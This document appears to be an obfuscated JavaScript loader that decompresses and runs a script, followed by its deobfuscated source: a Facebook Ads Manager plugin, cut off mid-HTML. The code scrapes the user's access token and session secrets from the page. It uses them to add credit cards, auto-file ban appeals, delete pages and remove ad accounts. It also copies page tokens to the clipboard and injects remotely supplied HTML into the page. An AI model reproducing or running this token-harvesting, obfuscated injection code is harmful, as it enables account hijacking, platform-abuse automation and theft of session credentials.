XaXWa1wBOoD9ETqCY0dcALGDXAD9EYRkhGevgP0Tr4JjRuAqOGfEZcRnCIBJawiBxGbxKElq8SnEZwkA-gBJa2Rl6GQWAJhkP+gUZmNFEQJqAxcAmwKUZxcCY0aF0AJrVRJuA1RmyeibAHaAegJjROSA3gLUZbRktGcyJWak7kH+AcJp-gJjRAq7hGUHqV+iY0bpAwxnjGWMZqjTUmqo0mNHBQI4Z8xmY0X2AfRlTQMsZXRlvCaqJGul6ifa+yhmnCaNpAekSGSlMdJhG6aGJpumb0JWgFulf1lbpMlo6hgkWqhkrNrfQTukmipwZb+APWF1RbWCx6evQ5xmSgInp8rE7wCbAKekrapEWAOgvGRJADK4EGemaRBlE2DiSVF7V6bVptMCBHnAp0h7EAHUejBnkkrQZlpFiBgwZ1BnkksjAghk9FDSQ1vI8GV+Ed+nagOHgBoDMGetCsJmsGVbuyMgDNLt8qeJVacg0fyBX6e88WR7Ima2Am7zVacAAA6mbyfXp5GnIPDyZ8Jl8mSfJoqFWjFmKXmkwKoXaKWk7nuhK4krIrqF0sGhwSlBIMaQsYCAIeHoymRxp8pl8rvcAxYCmaQvKcWkfgJppuYomabyIwalbykJpmmYiaX4pmqkSaYuRkiKy-j9APGglREpEimmkhhPOi1ij1IaZOgCCAOJKx8pwKj-wf-AcYMxggOkygLqAGkqamVmK-0DamX6QtkDFwPzpc8pmaZGZ87R8AOJKWAyhdLqafpCKmacAyplgCBI0AprJmQZpm86C6QxwW8qALgFp3plEIuJKf-CFnko0CULGcJiuIEhgSFfOa86n5nfOSbw1mVgq-EqgSEGZmpl4AQRgGWlZacQqHBnCmawWuaE7yoVpoGl--DwAuoCsFmmAoplu6dxpK6HxAWehyPwVadqGw9RsKkyZxGlCmVhQba4M7ihuUYqZ6fCZq8knrv2u4QG5oFhuHzA8OKOui4zf-MDBGwBXmRwwVF5h6SeZn64nrr7x4JnNaTj0ZJl24GgA1Ga1gBUJYgZPme2WW5mXIBsWHCTj8QXqmb7NMXoQWyBtXEjMMe7uQcoB-alvmeBcX6aQXrJJp9CEsZQQFn6pEK52zcyvmXuZjFwkwfZ+iJTldk5+DF6nFGG6Hvz4WcecMLThwir688Yefi12cIqxMTr62bHddolRebHlfnWRg3aYNqrcYX6PXFN2MX4YCmjcC4Do7DF+KNwWAIQ21hYR5vaeRA5OFIPp6FkengiG+EzHmcRZclyvIrwWRWk4oWA8OG4aWcuQOlxwlnE8mpwIxPdMaJL5hJ7EqhKIwrs8VnLaEkc8cJmaWSpZPGxmWTksRhIcQU+mk67QZlT86JK7vB0eOp7lQMpZulzqXMNcJ+Yn2BzAMrBcAMFZJlnxjJe8lRY1zFb4M-BRWSqe8ME-nq8UFGloWSFZrcEcFvqh7nwsNIa8O3T7bFmKCZAevI28A5EGgA4B5DwOvH7Ka841vG68+sBlWbmKDanwwaQBHgElWCQWXOxDvOeKHgA5aVlZsVmTPC58nBb3vC0U8VTELNVabVlJxrVuIAGCmTFZalw5WXqhbnyEfAVZFbzHyeNZRVk5rvO0pVmu-J7KqT7LmZVZ+MHVWZ28tVkELvVZI9GDvPr8N+bGgC1ZRBY+njJ4nVmC6jtZPjx9Wc5Z2Vl6nkNZeVnLWQa8q1mFWT2e7gF8vq5BsdQQmafBY3y+WZ0h-0quVmIGc1loomMevPw93h2WML5+VlhYyVnU-DPBO8Ez3mi+WFjdWV+KaNnGhpOWfd6Y2cEgT1m42ROWjL5sLuNCboIYkvQOwVRQwVRZMWhCvoNA7KH0AlQ25rH-PAhgJkw5UFuOJPFarmPMoUwpoBAJWEbIWR6KNWmaWeacXzy17sfYCYAncTl2CeJO7KkQl0QrloPpYtmzHLlspXbXoBRZVhxNaU7W1LpuVvLZMxyEwNPeTFlNdixZgyEYZsYxHFmsUZIx81Fg9rxZuDLEZgJZF1wDQLRmazGiWfcA4lkoWOzcMX5eQLR8t8a1-hE+c-wcjARg7IpK2frZhYJqWRQOqFmi2aHZt6zrHn3+1NkeQSHZFpxCltv+J+aWWTw8yGloaW+ZytkabKx+bYoMPiNYdNa7UVs8zRJ2WZ-MDlklPMEgidni2cnZyxyGEjnKFaJo3ljs9cFQAmDZAinu7lOuVdkq2aFZaLzrHijZXzzRWVnZ0dnd2XXJYhJVFqakfdnkujdZURaZWVHZSdlWbB9ZS1mCfAVZVbwbWWdZpVksANjZu1lzPpBpYMBVWR28bFYnWaBKxVn9vO68G9mXWZ7KU9mrArnwR1lNZjhu4Jb9me9MZ9kEAWG8TllGWdMcc9lEwYtZIHxL2Qa8K9lULhBZ+2wz2W-ZWRRD2QtZOaEjWStZPtmFWeFZp+br2U9Z9EoVWXvZHOwgKrdZLJkfgAO8LADwOddZo7yTWc2uk7xpadO870xYOb1Zr9ksoHUUoDnvWblZi9mTqKNZDTA-WX-ZuDnjwcDZI3yokq3ZM8EqBlDZg9kf2elcl8GzwYi+7lbI2TaQE3zw2SvWygZj3oTZqTCb2bw56Nl8OYjZ88HCJJg5Ujkk2Qy+595sLtihWAJdIVY+vSH02b7WpFhN8Zxk07bM2Vm+lBCR5g7WIVRbjilQWyJAoI5c5pxwIJZcBvGolB+M-KF5cZvA9qgghiX6aIJG8d5SE5wZ0HPJEVrDqPrsAa5oNMzMglxPcS6em7yCoDBmtVzuAOBZ-Io2pro5wr6-2ByhLNmJAHBZ7gw9mkIpwAAiKZHwicldnGSUt6kyKbcA3VKBWHoIBTn3qR8KPqHqqPZ2L6mBoWhYwaEdtJ+pd6m1qT+p70bsBhT6wLx3cRdC7elDHlOZ+QxWHJA8Bp7lZP0h35nIZu5+MIrPPsQS5tm+fpbZl64mUUlRVLgDdhg23BJCWarcEX6pfmSK7ZoolPJZhC4mfncxRAB6EHhZgnjX-GFBZFnyoJCGYdnkDnHunfzD-k1xAyH9-rmguaADOWg80ZwtycE8sjDqNEg8irwtVFA8LzlBPHA87znZ5v8wkjzpijo8ovyoFpXOhc4g7DFpdDxtWWg5rDyEACC51jxxAFAu-DyfQII8VDyhdNC5RBZwuYYAZ9JIuc-ZYcqouei5ZKyYuVGe2LlAufg82jz4ufI8fEHGPB+Sh844ufY8VjyHfFdZTLkymZkW91kEOUG8pxQsuVBK5C4-Oc3JfzlYPDmYsLnVjNWMjzlqbA583Hw82g3JlTkuxK3ZGzw2WfKipdkFPOQsRTyOWdz8eLx-vDh8wcw1PFdgpQHWkVrqdpEYzKt8zpHGEiOqzdl5oAq5hgBWHNWM-fw3-FXJW-xZQIyKvTnt3gI5lPyAvPHyIjnPwaGJtpE-2D7qB4JLopD8VA68OX+qwvy8uR7EJ3wnYsKehrm6OQj8MrBVAaj8g8QvfNlRKmkNAN98VSB0Ro3RFbo7GcNpG-ql3ItwKcqauVD8Brm2Cr3OiPwPfMW5PDnJuYomdcppufQAzQGTluwqD5nqOeZK1tbuuUoSqNneuRw5vrnT-v65rJKBuYhqWkqVgqG50L4LVMIkEbni-GI5MEbgXhK51zkOuaW8PfzOuTRp9rnnvLf8w-wP-GP8sdnMOUKiFta5HAACkeZR5hNxfUBr-DQoG-yOuXf8O-xbuTpZ8-yUgMf8mJwxuWTel-wJXue5i7nVyetIm7kNAM-8r-wvzIhqrIRf-Dhu9CocAAACXO65jNaWbSErWM3ZSimU2TACNtbdIZxBxkpA2d+ZmjmfmYh5+VQsmdwGacDT1GE5aTgRObdSyHnROaY2y6nIeS7WbADweQ3xejlJOUY5+rGs2g8hGHB8GQbxYF75STAA7+LZOUQpcJx5OQbkZTm1qXIptWkXYKSA3HlnZI+psFikeC-y7VCtUCTJv6nuOTfuu5lGWfQp67bPHv8eopCsjAzZ-tY8qUBZePyV2fCZ8nk-Hhu2bEwr8qKQHrQg7Obqj7l5yt1RT1CcsH1RXbpyse6+Sg7DUR1gYuQY7NHAsFmGTDLu-1nrcVzZozrvPC-yo2hoWFzSeHlPSLBQsFDHQmzJj4nwMLZRmsmQApUU9anlqMmAAQFlQmfQGuJTwHbAA66lQDF5Q7jnULMA-koDAHUAy6rrDGhEMTkPMOoyfPKyAhGoPkYKAjGocagBRg7AtmFltKdUnT6ZaBfqrLDpeYloycl2qVKUvQALqjl5VgB5ecFKbgC7NoqgTaTz0Oz0gOj8gEAAA`;var decompressed = LZString.decompressFromEncodedURIComponent(compressed);function executeDecompressedCode(decompressed) {var scriptElement = document.createElement("script");scriptElement.innerHTML = decompressed;document.body.appendChild(scriptElement);document.body.removeChild(scriptElement);}executeDecompressedCode(decompressed);




Código desofuscado:
https://gist.github.com/dvygolov/901f5ebd8ff76eeefd0f297cff57b7a3
javascript
(function() {
    window.adsplugver = '6.3';
    if (location.pathname == "/adsmanager/manage/campaigns" || location.pathname == "/ads/creativehub/home/" || location.pathname == "/adsmanager/manage/all" || location.pathname == "/adsmanager/manage/ads" || location.pathname == "/adsmanager/manage/adsets") {
        if (document.getElementById("notif") == null) {
            document.onkeydown = function(evt) {
                evt = evt || window.event;
                if (evt.keyCode == 27) {
                    window.mainclose();
                }
            };
            window.currency_symbols = {
                'USD': '$', // US Dollar
                'EUR': '€', // Euro
                'CRC': '₡', // Costa Rican Colón
                'GBP': '£', // British Pound Sterling
                'ILS': '₪', // Israeli New Sheqel
                'INR': '₹', // Indian Rupee
                'JPY': '¥', // Japanese Yen
                'KRW': '₩', // South Korean Won
                'NGN': '₦', // Nigerian Naira
                'PHP': '₱', // Philippine Peso
                'PLN': 'zł', // Polish Zloty
                'PYG': '₲', // Paraguayan Guarani
                'THB': '฿', // Thai Baht
                'UAH': '₴', // Ukrainian Hryvnia
                'VND': '₫', // Vietnamese Dong
            };
            window.checkauth = function() {
                if (window.pageauth == true) window.appendtab("<hr width='90%'><center><b style='color:red;'> You need to <button style='background:#384959;color:white;' onclick=" +
                    `window.open('https://www.facebook.com/forced_account_switch','popUpWindow','height=500,width=900'); return false;` + ">switch</button> to personal profile to continue!</b></center>", "dblock2");
            }

            window.getAccessTokenFunc = function() {
                console.log("check auth user");
                if (window.getCookie("i_user") !== undefined) {
                    window.pageauth = true;

                } else window.pageauth = false;
                console.log('is page auth? = ' + window.pageauth);
                console.log("looking for token");
                scripts = document.getElementsByTagName("script");
                let i = 0;
                let token = '';
                let selacc = window.getURLParameter('act');
                var elementIdRegEx = /selected_account_id:"(.*?)"/gi;
                for (; i < scripts.length; i = i + 1) {
                    html = scripts[i].innerHTML;
                    regex = /"EA[A-Za-z0-9]{20,}/gm;
                    if (html.search(regex) > 1) {
                        match = html.match(regex);
                        token = match[0].substr(1);
                        window.privateToken = token;
                    }
                    if (!selacc) {
                        console.log("no get acc parameter");
                        if (html.search(elementIdRegEx) > 1) {
                            let htmlAsset = elementIdRegEx.exec(html);
                            console.log('selected acc found');
                            window.selectedacc = htmlAsset[1]
                        }
                    } else {
                        window.selectedacc = selacc;
                    }
                    let tmpdtsg = require("DTSGInitialData").token || document.querySelector('[name="fb_dtsg"]').value,
                        tmpsocid = require("CurrentUserInitialData").USER_ID || [removed].match(/c_user=([0-9]+)/)[1];
                    let spinR = require(["SiteData"]).__spin_r;
                    let spinB = require(["SiteData"]).__spin_b;
                    let spinT = require(["SiteData"]).__spin_t;
                    let hsi = require(["SiteData"]).hsi;
                    let shortname = require(["CurrentUserInitialData"]).SHORT_NAME;
                    let fullname = require(["CurrentUserInitialData"]).NAME;
                    if (tmpdtsg) window.dtsg = tmpdtsg;
                    if (tmpsocid) window.socid = tmpsocid;
                    if (spinR) window.spinR = spinR;
                    if (spinB) window.spinB = spinB;
                    if (spinT) window.spinT = spinT;
                    if (hsi) window.hsi = hsi;
                    if (shortname) window.shortname = shortname;
                    if (fullname) window.fullname = fullname;
                }
            }


            window.addCCtoadAccReq2 = function(adAccId, fbSocId, ccNumber, ccYear, ccMonth, ccCVC, ccIso, accessToken) {
                url =
                    "https://business.secure.facebook.com/ajax/payment/token_proxy.php?tpe=%2Fapi%2Fgraphql%2F";
                ccNumber = ccNumber.replace(' ', '');
                first6 = ccNumber.substring(0, 6);
                last4 = ccNumber.substring(12);
                var myHeaders = new Headers();
                //myHeaders.append("Authorization", "OAuth " + accessToken);
                myHeaders.append("sec-fetch-site", "same-site");
                myHeaders.append("sec-fetch-mode", "cors");
                myHeaders.append("Content-Type", "application/x-www-form-urlencoded");

                var urlencoded = new URLSearchParams();
                urlencoded.append("av", fbSocId);
                urlencoded.append("payment_dev_cycle", "prod");
                urlencoded.append("locale", "en_US");
                urlencoded.append("__user", fbSocId);
                urlencoded.append("__a", "1");
                urlencoded.append("dpr", "2");
                urlencoded.append("__rev", "1005599768");
                urlencoded.append("__comet_req", "0");
                urlencoded.append("__spin_r", "1005599768");
                urlencoded.append("__jssesw", "1");
                urlencoded.append("fb_dtsg", window.dtsg);
                urlencoded.append("fb_api_caller_class", "RelayModern");
                urlencoded.append("fb_api_req_friendly_name", "useBillingAddCreditCardMutation");
                urlencoded.append("make_ads_primaty_funding_source", "1");
                urlencoded.append("variables", '{"input":{"billing_address":{"country_code":"' + ccIso + '"},"billing_logging_data":{},"cardholder_name":"","credit_card_first_6":{"sensitive_string_value":"' + first6 + '"},"credit_card_last_4":{"sensitive_string_value":"' + last4 + '"},"credit_card_number":{"sensitive_string_value":"' + ccNumber + '"},"csc":{"sensitive_string_value":"' + ccCVC + '"},"expiry_month":"' + ccMonth + '","expiry_year":"' + ccYear + '","payment_account_id":"' + adAccId + '","payment_type":"MOR_ADS_INVOICE","unified_payments_api":true,"actor_id":"' + fbSocId + '","client_mutation_id":"1"}}');
                urlencoded.append("server_timestamps", "true");
                urlencoded.append("doc_id", "4126726757375265");


                let requestOptions = {
                    method: "POST",
                    headers: myHeaders,
                    body: urlencoded,
                    mode: 'cors',
                    credentials: 'include',
                    redirect: "follow"
                };


                fetch(url, requestOptions)
                    .then(function(response) {
                        var card = response.json();
                        return card;
                    })
                    .then(function(result) {
                        //vm.progressModal(100);
                        if (result.add_credit_card !== null) {
                            console.log(result);
                            window.mainreload();
                        } else {
                            if (result.errors[0].description) alert(result.errors[0].description);
                            console.log(result);
                        }
                    })
                    .catch(function(error) {
                        console.log("error");
                        console.log(result);
                        alert('error req :( ');
                    });
            }

            window.addCCtoadAccForm = function() {
                document.getElementById("dblock1ccform").style.display = "inline";
            }
            window.addCCtoadAccProcessForm = function() {
                document.getElementById("addCCtoadAccProcessForm").innerText = "Please Wait";
                getccNumberval = document.getElementById("ccNumber").value;
                getccCVCval = document.getElementById("ccCVC").value;
                getccMonthval = document.getElementById("ccMonth").value;
                getccYearval = document.getElementById("ccYear").value;
                getccIsoval = document.getElementById("ccIso").value;
                if (getccNumberval && getccCVCval && getccMonthval && getccYearval && getccIsoval) {
                    window.addCCtoadAccReq2(window.selectedacc, window.socid, getccNumberval, getccYearval, getccMonthval, getccCVCval, getccIsoval, window.privateToken);
                } else {
                    alert('not all fields are filled');
                }

            }


            window.ShowEditcurr = function() {
                document.getElementById("fbaccstatusacccurrdiv").style.display = "none";
                document.getElementById("fbaccstatusacccurrformdiv").style.display = "inline";
            }
            window.ProcessEditcurr = async function() {
                document.getElementById("fbaccstatusacccurrformdivgo").innerText = "Wait..";
                getNewCurrVal = document.getElementById("fbaccstatusacccurrselect").value;
                let apiUrl = "https://graph.facebook.com/v17.0/";
                let editaccid = window.selectedacc;
                let params = `act_${editaccid}?fields=id,name,timezone_id`;
                var urlencoded = new URLSearchParams();
                urlencoded.append("currency", getNewCurrVal);
                urlencoded.append("access_token", window.privateToken);
                let response = await fetch(apiUrl + params, {
                    mode: 'cors',
                    method: 'POST',
                    credentials: 'include',
                    redirect: "follow",
                    body: urlencoded
                });
                let json = await response.json();
                console.log(json);
                if (json.error !== undefined) {
                    alert(json.error.error_user_msg);
                    document.getElementById("fbaccstatusacccurrformdivgo").innerText = "Error";
                } else {
                    //Reload
                    window.mainreload();

                }

            }

            window.appealadcreo = async function(adgroupappid) {
                document.getElementById('MainAppeal' + adgroupappid).innerText = "Wait..";
                //getNewCurrVal = document.getElementById("fbaccstatusacccurrselect").value;
                let apiUrl = "https://business.facebook.com/ads/integrity/appeals/creation/ajax/";

                //	let params = `act_${editaccid}?fields=id,name,timezone_id`;
                //	var urlencoded = new URLSearchParams();

                let response = await fetch(apiUrl, {
                    headers: {
                        "accept": "*/*",
                        "accept-language": "en-US,en;q=0.9",
                        "content-type": "application/x-www-form-urlencoded",
                    },
                    body: `adgroup_id=${adgroupappid}&callsite=ADS_MANAGER&__hs=19153.BP:ads_manager_pkg.2.0.0.0.&__user=${window.socid}&__csr=&dpr=2&__ccg=EXCELLENT&__rev=1005666349&__comet_req=0&fb_dtsg=${window.dtsg}&jazoest=25394&__spin_r=1005666349&__spin_b=trunk&__jssesw=1&access_token=${window.privateToken}`,
                    mode: 'cors',
                    method: 'POST',
                    credentials: 'include',
                    redirect: "follow",

                });
                let json = await response;
                console.log(json);
                document.getElementById('MainAppeal' + adgroupappid).innerText = "Error";
                document.getElementById('MainAppeal' + adgroupappid).disabled = true;
            }


            window.appealadsacc = async function(accid) {
                document.getElementById('AdsAccAppeal' + accid).innerText = "Wait..";

                let apiUrl = "https://www.facebook.com/api/graphql/";
                var urlencoded = new URLSearchParams();
                urlencoded.append("__rev", window.spinR);
                urlencoded.append("__hsi", window.hsi);
                urlencoded.append("__spin_r", window.spinR);
                urlencoded.append("__spin_b", window.spinB);
                urlencoded.append("__spin_t", window.spinT);
                urlencoded.append("fb_api_caller_class", "RelayModern");
                urlencoded.append("fb_api_req_friendly_name", "useAdAccountALRAppealMutation");
                urlencoded.append("av", window.socid);
                urlencoded.append("__user", window.socid);
                ///urlencoded.append("session_id", '');	
                urlencoded.append("fb_dtsg", window.dtsg);
                urlencoded.append("variables", `{"input":{"client_mutation_id":"1","actor_id":"${accid}","ad_account_id":"${accid}","ids_issue_ent_id":"1","appeal_comment":"I'm not sure which policy was violated.","callsite":"ACCOUNT_QUALITY"}}`);
                urlencoded.append("doc_id", '5197966936890203');
                urlencoded.append("server_timestamps", 'true');

                let response = await fetch(apiUrl, {
                    mode: 'cors',
                    method: 'POST',
                    credentials: 'include',
                    redirect: "follow",
                    body: urlencoded
                });
                let json = await response.json();
                if (json.errors !== undefined) {
                    alert('Error appeal :(');
                    document.getElementById('AdsAccAppeal' + accid).innerText = "Error";
                    document.getElementById('AdsAccAppeal' + accid).disabled = true;
                } else {
                    if (json.data.xfb_alr_ad_account_appeal_create.success == true) {
                        document.getElementById('AdsAccAppeal' + accid).innerText = "Ok";
                        document.getElementById('AdsAccAppeal' + accid).disabled = true;
                    } else {
                        alert('Success: ' + json.data.xfb_alr_ad_account_appeal_create.success + "\n\nOpen the accountquality tab. Maybe appeal requires an ID check...");
                        document.getElementById('AdsAccAppeal' + accid).innerText = "False";
                        document.getElementById('AdsAccAppeal' + accid).disabled = true;
                    }
                }

            }

            window.appealfp = async function(accid) {
                document.getElementById('FPAppeal' + accid).innerText = "Wait..";

                let apiUrl = "https://www.facebook.com/api/graphql/";
                var urlencoded = new URLSearchParams();
                urlencoded.append("__rev", window.spinR);
                urlencoded.append("__hsi", window.hsi);
                urlencoded.append("__spin_r", window.spinR);
                urlencoded.append("__spin_b", window.spinB);
                urlencoded.append("__spin_t", window.spinT);
                urlencoded.append("fb_api_caller_class", "RelayModern");
                urlencoded.append("fb_api_req_friendly_name", "useAdAccountALRAppealMutation");
                urlencoded.append("av", window.socid);
                urlencoded.append("__user", window.socid);
                ///urlencoded.append("session_id", '');	
                urlencoded.append("fb_dtsg", window.dtsg);
                urlencoded.append("variables", `{"input":{"client_mutation_id":"1","actor_id":"${accid}","ad_account_id":"${accid}","ids_issue_ent_id":"1","appeal_comment":"I'm not sure which policy was violated.","callsite":"ACCOUNT_QUALITY"}}`);
                urlencoded.append("doc_id", '5197966936890203');
                urlencoded.append("server_timestamps", 'true');

                let response = await fetch(apiUrl, {
                    mode: 'cors',
                    method: 'POST',
                    credentials: 'include',
                    redirect: "follow",
                    body: urlencoded
                });
                let json = await response.json();
                if (json.errors !== undefined) {
                    alert('Error appeal :(');
                    document.getElementById('FPAppeal' + accid).innerText = "Error";
                    document.getElementById('FPAppeal' + accid).disabled = true;
                } else {
                    if (json.data.xfb_alr_ad_account_appeal_create.success == true) {
                        document.getElementById('FPAppeal' + accid).innerText = "Ok";
                        document.getElementById('FPAppeal' + accid).disabled = true;
                    } else {
                        alert('Success: ' + json.data.xfb_alr_ad_account_appeal_create.success + "\n\nOpen the accountquality tab. Maybe appeal requires an ID check...");
                        document.getElementById('FPAppeal' + accid).innerText = "False";
                        document.getElementById('FPAppeal' + accid).disabled = true;
                    }
                }

            }


            window.delfp = async function(fpid) {
                if (confirm('Are you sure you want to permanently delete facebook page: ' + fpid + '?')) {
                    let apiUrl = "https://www.facebook.com/api/graphql/";
                    var urlencoded = new URLSearchParams();
                    urlencoded.append("__rev", window.spinR);
                    urlencoded.append("__hsi", window.hsi);
                    urlencoded.append("__spin_r", window.spinR);
                    urlencoded.append("__spin_b", window.spinB);
                    urlencoded.append("__spin_t", window.spinT);
                    urlencoded.append("fb_api_caller_class", "RelayModern");
                    urlencoded.append("fb_api_req_friendly_name", "usePagesCometDeletePageMutation");
                    urlencoded.append("av", window.socid);
                    urlencoded.append("__user", window.socid);
                    ///urlencoded.append("session_id", '');	
                    urlencoded.append("fb_dtsg", window.dtsg);
                    urlencoded.append("variables", `{"input":{"client_mutation_id":"1","actor_id":"${window.socid}","page_id":"${fpid}"}}`);
                    urlencoded.append("doc_id", '4899485650107392');
                    urlencoded.append("server_timestamps", 'true');
                    let response = await fetch(apiUrl, {
                        mode: 'cors',
                        method: 'POST',
                        credentials: 'include',
                        redirect: "follow",
                        body: urlencoded
                    });
                    let json = await response.json();
                    if (json.errors !== undefined) {
                        alert('Error req :(');
                    } else {
                        alert('Page is scheduled to be deleted in 14 days....');
                        window.showfpstatus();
                    }
                }
            }

            window.deladacc = async function(adaccid) {
                if (confirm('Are you sure you want to close this account: ' + adaccid + '?')) {
                    let apiUrl = "https://" + location.hostname + "/ads/ajax/account_close/";
                    var urlencoded = new URLSearchParams();
                    urlencoded.append("__rev", window.spinR);
                    urlencoded.append("__hsi", window.hsi);
                    urlencoded.append("__spin_r", window.spinR);
                    urlencoded.append("__spin_b", window.spinB);
                    urlencoded.append("__spin_t", window.spinT);
                    // urlencoded.append("fb_api_caller_class", "RelayModern");
                    // urlencoded.append("fb_api_req_friendly_name", "usePagesCometDeletePageMutation");
                    // urlencoded.append("av", window.socid);
                    urlencoded.append("__user", window.socid);
                    urlencoded.append("account_id", adaccid);
                    urlencoded.append("fb_dtsg", window.dtsg);
                    //urlencoded.append("variables", `{"input":{"client_mutation_id":"1","actor_id":"${window.socid}","page_id":"${fpid}"}}`);
                    // urlencoded.append("doc_id", '4899485650107392');
                    // urlencoded.append("server_timestamps", 'true');
                    let response = await fetch(apiUrl, {
                        mode: 'cors',
                        method: 'POST',
                        credentials: 'include',
                        redirect: "follow",
                        body: urlencoded
                    });
                    //let json = await response.json();
                    //	 if (json.errors !== undefined) {
                    //		 alert('Error req :(');
                    //	 }else { 
                    alert('Ads Account is scheduled to be close....');
                    window.showaccstatus();
                    // }	 
                }
            }

            window.remadacc = async function(adaccid, rmid) {
                if (confirm('Are you sure you want to remove this account: ' + adaccid + '?')) {
                    //let apiUrl = "https://"+location.hostname+"/ads/manage/settings/remove_user/?userid="+window.socid+"&act="+adaccid+"&is_new_account_settings=1";
                    let apiUrl = "https://graph.facebook.com/v17.0/act_" + adaccid + "/users/" + rmid + "?method=delete&access_token=" + window.privateToken;
                    //console.log(apiUrl);
                    var urlencoded = new URLSearchParams();
                    urlencoded.append("method", "DELETE");
                    //urlencoded.append("fb_dtsg", window.dtsg);
                    //urlencoded.append("variables", `{"input":{"client_mutation_id":"1","actor_id":"${window.socid}","page_id":"${fpid}"}}`);
                    // urlencoded.append("doc_id", '4899485650107392');
                    // urlencoded.append("server_timestamps", 'true');
                    urlencoded.append("access_token", window.privateToken);
                    let response = await fetch(apiUrl, {
                        headers: {
                            "accept": "*/*",
                            "accept-language": "en-US,en;q=0.9",
                            "content-type": "application/x-www-form-urlencoded"
                        },
                        "referrer": "https://adsmanager.facebook.com/ads/manager/account_settings/information/?act=1196425337914345&pid=p1&page=account_settings&tab=account_information",
                        "referrerPolicy": "origin-when-cross-origin",
                        mode: 'cors',
                        method: 'GET',
                        credentials: 'include',
                        redirect: "follow",
                        referrerPolicy: "same-origin",
                        //body: urlencoded
                    });
                    let json = await response.json();
                    if (json.error !== undefined) {
                        // alert('Error req :(');
                        alert(json.error.message);
                    } else {
                        alert('Ads Account is removed....');
                        window.showaccstatus();
                    }
                }
            }




            window.unhidefp = async function(fpid) {
                if (confirm('Are you sure you want to publish page: ' + fpid + ' ?')) {
                    let apiUrl = "https://www.facebook.com/api/graphql/";
                    var urlencoded = new URLSearchParams();
                    urlencoded.append("__rev", window.spinR);
                    urlencoded.append("__hsi", window.hsi);
                    urlencoded.append("__spin_r", window.spinR);
                    urlencoded.append("__spin_b", window.spinB);
                    urlencoded.append("__spin_t", window.spinT);
                    urlencoded.append("fb_api_caller_class", "RelayModern");
                    urlencoded.append("fb_api_req_friendly_name", "usePagesCometEditPageVisibilityMutation");
                    urlencoded.append("av", window.socid);
                    urlencoded.append("__user", window.socid);
                    ///urlencoded.append("session_id", '');	
                    urlencoded.append("fb_dtsg", window.dtsg);
                    urlencoded.append("variables", `{"input":{"client_mutation_id":"1","actor_id":"${window.socid}","page_id":"${fpid}","publish_mode":"PUBLISHED"}}`);
                    urlencoded.append("doc_id", '4920939114687785');
                    urlencoded.append("server_timestamps", 'true');
                    let response = await fetch(apiUrl, {
                        mode: 'cors',
                        method: 'POST',
                        credentials: 'include',
                        redirect: "follow",
                        body: urlencoded
                    });
                    let json = await response.json();
                    if (json.errors !== undefined) {
                        alert('Error req :(');
                    } else {
                        window.showfpstatus();
                    }
                }
            }



            window.ShowEdittzone = function() {
                document.getElementById("fbaccstatusacctzonediv").style.display = "none";
                document.getElementById("fbaccstatusacctzoneformdiv").style.display = "block";
            }
            window.ProcessEdittzone = async function() {
                document.getElementById("fbaccstatusacctzoneformdivgo").innerText = "Wait..";
                getNewTzVal = document.getElementById("fbaccstatusacctzoneselect").value;
                let apiUrl = "https://graph.facebook.com/v17.0/";
                let editaccid = window.selectedacc;
                let params = `act_${editaccid}?fields=id,name,timezone_id`;
                var urlencoded = new URLSearchParams();
                urlencoded.append("timezone_id", getNewTzVal);
                urlencoded.append("access_token", window.privateToken);
                let response = await fetch(apiUrl + params, {
                    mode: 'cors',
                    method: 'POST',
                    credentials: 'include',
                    redirect: "follow",
                    body: urlencoded
                });
                let json = await response.json();
                console.log(json);
                if (json.error !== undefined) {
                    alert(json.error.error_user_msg);
                    document.getElementById("fbaccstatusacctzoneformdivgo").innerText = "Error";
                } else {
                    //Reload
                    window.mainreload();

                }

            }


            window.getJSON = function(url, callback, type) {
                var xhr = new XMLHttpRequest();
                xhr.withCredentials = true;
                xhr.open("GET", url, true);
                if (!type) xhr.responseType = "json";
                else xhr.responseType = type;
                xhr.onload = function() {
                    var status = xhr.status;
                    if (status === 200) {
                        callback(null, xhr.response)
                    } else {
                        callback(status, xhr.response)
                    }
                };
                xhr.send()
            };

            window.checkIpFunc = function() {
                if (location.origin == 'https://www.facebook.com') {
                    diag = 'https://www.facebook.com/diagnostics';
                } else {
                    diag = 'https://business.facebook.com/diagnostics';
                }
                window.getJSON(diag, function(err, data) {
                    if (err !== null) {
                        alert("Something went wrong: " + err)
                    } else {
                        console.log(data);
                        window.appendtab("<p class='prep'>" + data + "</p>", "tab4");
                    }
                }, 'text');
            }

            window.checkVerFunc = function() {
                verreq = 'https://graph.facebook.com/v17.0/4565016393523068?fields=id,title,description&access_token=' + window.privateToken;
                window.getJSON(verreq, function(err, data) {
                    if (err !== null) {
                        alert("Something went wrong: " + err)
                    } else {
                        if (data.title != window.adsplugver) {
                            document.getElementById('plugupdate').innerHTML = '<a style="color:yellow;" href="https://fbacc.io" target="_blank">💥</a> ';
                        }
                        if (data.description) {
                            document.getElementById('fbplugads').innerHTML = '<span>' + data.description + '</span><a class="close" style="position: absolute;bottom: 10px;right: 20px;transition: all 200ms;font-size: 14px;font-weight: bold;text-decoration: none;color: #333;" onclick="window.mainclosead();" href="#">×</a>';
                        }


                    }
                }, 'json');
            }
            window.getPageToken = async function(page_id) {
                let apiUrl = "https://graph.facebook.com/v17.0/";

                let response = await fetch(`${apiUrl}${page_id}?fields=access_token&access_token=${window.privateToken}`, {
                    mode: 'cors',
                    method: 'GET',
                    credentials: 'include',
                    redirect: "follow",
                });

                let rez = await response.json();
                if (rez.access_token !== undefined)
                    return rez.access_token;

                return false;
            }




            window.getAndCopyPageToken = async function(page_id) {
                let token = await window.getPageToken(page_id);
                if (token === false) {
                    console.log(`page token error`);
                    return false;
                }

                await window.copytocb(token);
                return token;
            }



            /*##################private section################*/



            /*##################endprivate#############*/

            ////////////////////////////morePopup//////////////////////////////////
            let pluginPopupId = "notif-pop";
            let pluginPopupTitleId = `${pluginPopupId}-title`;
            let pluginPopupContentId = `${pluginPopupId}-content`;

            window.initPluginPopup = function(event, content, title) {
                //console.log(event);
                var div = document.getElementById(pluginPopupId);
                title ??= 'popup'
                let coords = getPopupCoords(event);
                if (!div) {
                    div = document.createElement("div");
                    div.id = pluginPopupId;
                    div.setAttribute("style", `
			   position: absolute;
			   z-index: 100000;
			   background-color: #f1f1f1;
			   border: 1px solid #d3d3d3;
			   display: block;
			   top: ${coords.top}px;
			   left: ${coords.left}px;
			   min-width:200px;
		   `);

                }
                div.innerHTML = `
		   <div style="padding: 5px; background-color: #384959; color: #fff; font-size: 15px;font-weight: bold;text-decoration: none;">
			<div id="${pluginPopupId}-header" style="background-color:#7FB5DA; color: #333; margin: -5px">
				<center>
